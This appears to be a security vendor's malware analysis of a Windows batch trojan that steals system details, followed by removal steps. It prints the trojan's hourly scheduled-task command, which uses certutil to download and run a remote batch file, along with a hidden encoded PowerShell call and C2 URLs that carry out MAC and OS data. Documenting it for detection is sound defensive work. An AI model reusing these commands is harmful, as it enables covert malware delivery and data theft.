Analysis by: Paul Steven Nadera
ALIASES:

Trojan.BAT.Agent.bcr (Kaspersky); Trojan:BAT/Donvibs (Microsoft); Downloader (Norton)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: Yes

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It does not have any propagation routine.

It does not have any backdoor routine.

As of this writing, the said sites are inaccessible.

It steals certain information from the system and/or the user.

  TECHNICAL DETAILS

File Size: 1,964 bytes
File Type: BAT
Memory Resident: Yes
Initial Samples Received Date: 30 Jul 2020
Payload: Connects to URLs/IPs, Steals information

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • schtasks /create /sc MINUTE /mo 60 /st 07:00:00 /tn Certificate /tr "cmd.exe /c (cd %User Temp%&certutil -urlcache -split -f http://cert.{BLOCKED}h.com/cert.php?ver1={Computer Name} v.dat>nul&expand -r v.dat>nul&v.bat>nul&del v.dat v.bat>nul)" /F
  • "%System%\getmac.exe" /FO CSV
  • powershell -nop -w hidden -ep bypass -e {base64 encoded commands}

Propagation

This Trojan does not have any propagation routine.

Backdoor Routine

This Trojan does not have any backdoor routine.

Rootkit Capabilities

This Trojan does not have rootkit capabilities.

Download Routine

As of this writing, the said sites are inaccessible.

Information Theft

This Trojan steals the following information:

  • Computer Name
  • Operating System Version
  • System Architecture (32-bit or 64-bit)
  • Mac Address of the infected machine

Other Details

This Trojan does the following:

  • Connects to the following website(s) to download and execute powershell commands:
    • http://new.{BLOCKED}h.com/startup.php?ver=1&mac={MAC Address}&ver={OS Version}&bit={System Architecture}
    • http://cert.{BLOCKED}h.com/cert.php?ver1={Computer Name}

It does not exploit any vulnerability.

It adds the following scheduled tasks:

  • Task Name: Certificate
  • Trigger(s): 7:00 AM of current date and repeats every 1 hour afterwards
  • Action: Execute command "cmd.exe /c (cd %User Temp%&certutil -urlcache -split -f http://cert.{BLOCKED}h.com/cert.php?ver1={Computer Name} v.dat>nul&expand -r v.dat>nul&v.bat>nul&del v.dat v.bat>nul)"

  SOLUTION

Minimum Scan Engine: 9.850
FIRST VSAPI PATTERN FILE: 14.822.04
FIRST VSAPI PATTERN DATE: 18 Feb 2019
VSAPI OPR PATTERN File: 14.823.00
VSAPI OPR PATTERN Date: 19 Feb 2019

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Deleting Scheduled Tasks

The following {Task Name} - {Task to be run} listed should be used in the steps identified below:  

  • Certificate - cmd.exe /c (cd %User Temp%&certutil -urlcache -split -f http://cert.{BLOCKED}h.com/cert.php?ver1={Computer Name} v.dat>nul&expand -r v.dat>nul&v.bat>nul&del v.dat v.bat>nul)

For Windows 2000, Windows XP, and Windows Server 2003:

  1. Open the Windows Scheduled Tasks. Click Start>Programs>Accessories>
    System Tools>Scheduled Tasks.
  2. Locate each {Task Name} values listed above in the Name column.
  3. Right-click on the said file(s) with the aforementioned value.
  4. Click on Properties. In the Run field, check for the listed {Task to be run}.
  5. If the strings match the list above, delete the task.

For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:

  1. Open the Windows Task Scheduler. To do this:
    • On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
    • On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter.
  2. In the left panel, click Task Scheduler Library.
  3. In the upper-middle panel, locate each {Task Name} values listed above in the Name column.
  4. In the lower-middle panel, click the Actions tab. In the Details column, check for the {Task to be run} string.
  5. If the said string is found, delete the task.

Step 3

Scan your computer with your Trend Micro product to delete files detected as Trojan.BAT.DRPCERT.A. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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